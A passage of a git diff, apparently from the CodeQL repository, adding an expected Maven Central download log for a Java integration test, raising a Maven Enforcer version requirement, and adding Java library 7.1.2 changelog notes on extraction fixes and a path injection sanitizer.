+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.3.4/maven-shared-utils-3.3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire/2.22.1/surefire-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/assertj/assertj-bom/3.25.3/assertj-bom-3.25.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/mojo-parent/20/mojo-parent-20.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.3/plexus-archiver-3.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler/2.8.4/plexus-compiler-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compilers/2.8.4/plexus-compilers-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.5.4/plexus-component-annotations-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.1.0/plexus-component-annotations-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/4.0/plexus-components-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/6.6/plexus-components-6.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.5.4/plexus-containers-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.6/plexus-containers-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.7.1/plexus-containers-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.0.0/plexus-containers-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.1.0/plexus-containers-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.22/plexus-interpolation-1.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-languages/0.9.10/plexus-languages-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.22/plexus-utils-3.0.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/13/plexus-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/16/plexus-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/17/plexus-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.2/plexus-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.2/plexus-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/4.0/plexus-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/5.1/plexus-5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/8/plexus-8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit-parent/5.13.0.202109080827-r/org.eclipse.jgit-parent-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-parent/1.3/hamcrest-parent-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.0/junit-bom-5.10.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.1/junit-bom-5.10.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.2/junit-bom-5.10.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.7.2/junit-bom-5.7.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.9.3/junit-bom-5.9.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5.1/ow2-1.5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5/ow2-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.5/slf4j-api-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.30/slf4j-parent-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.32/slf4j-parent-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.36/slf4j-parent-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.5/slf4j-parent-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/10/forge-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/4/forge-parent-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/5/forge-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/6/forge-parent-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/5/oss-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/7/oss-parent-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/9/oss-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7-noaop.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/12/spice-parent-12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/15/spice-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/17/spice-parent-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom
diff --git a/java/ql/integration-tests/java/maven-enforcer/pom.xml b/java/ql/integration-tests/java/maven-enforcer/pom.xml
index ca376ad5ba9d..1a1ec409b727 100644
--- a/java/ql/integration-tests/java/maven-enforcer/pom.xml
+++ b/java/ql/integration-tests/java/maven-enforcer/pom.xml
@@ -77,7 +77,7 @@
             <configuration>
               <rules>
                 <requireMavenVersion>
-                  <version>[3.1.1,)</version>
+                  <version>[3.6.3,)</version>
                 </requireMavenVersion>
               </rules>
             </configuration>
diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md
index 0bd7926c9565..4e5f40cbc844 100644
--- a/java/ql/lib/CHANGELOG.md
+++ b/java/ql/lib/CHANGELOG.md
@@ -1,3 +1,18 @@
+## 7.1.2
+
+### Minor Analysis Improvements
+
+* Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it.
+* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path.
+
+### Bug Fixes
+
+* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings.
+* Java extraction no longer freezes for a long time or times out when using libraries that feature expanding cyclic generic types. For example, this was known to occur when using some classes from the Blazebit Persistence library.
+* Java build-mode `none` no longer fails when a required version of Gradle cannot be downloaded using the `gradle wrapper` command, such as due to a firewall. It will now attempt to use the system version of Gradle if present, or otherwise proceed without detailed dependency information.
+* Java build-mode `none` no longer fails when a required version of Maven cannot be downloaded, such as due to a firewall. It will now attempt to use the system version of Maven if present, or otherwise proceed without detailed dependency information.
+* Java build-mode `none` now correctly uses Maven dependency information on Windows platforms.
+
 ## 7.1.1
 
 No user-facing changes.
diff --git a/java/ql/lib/change-notes/released/7.1.2.md b/java/ql/lib/change-notes/released/7.1.2.md
new file mode 100644
index 000000000000..57fc5b2cc6d0
--- /dev/null
+++ b/java/ql/lib/change-notes/released/7.1.2.md
@@ -0,0 +1,14 @@
+## 7.1.2
+
+### Minor Analysis Improvements
+
+* Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it.
+* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path.
+
+### Bug Fixes
+
+* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings.
+* Java extraction no longer freezes for a long time or times out when using libraries that feature expanding cyclic generic types. For example, this was known to occur when using some classes from the Blazebit Persistence library.
+* Java build-mode `none` no longer fails when a required version of Gradle cannot be downloaded using the `gradle wrapper` command, such as due to a firewall. It will now attempt to use the system version of Gradle if present, or otherwise proceed without detailed dependency information.
+* Java build-mode `none` no longer fails when a required version of Maven cannot be downloaded, such as due to a firewall. It will now attempt to use the system version of Maven if present, or otherwise proceed without detailed dependency information.
+* Java build-mode `none` now correctly uses Maven dependency information on Windows platforms.
diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml
index 8e970df6cae3..547681cc4408 100644
--- a/java/ql/lib/codeql-pack.release.yml
+++ b/java/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 7.1.1
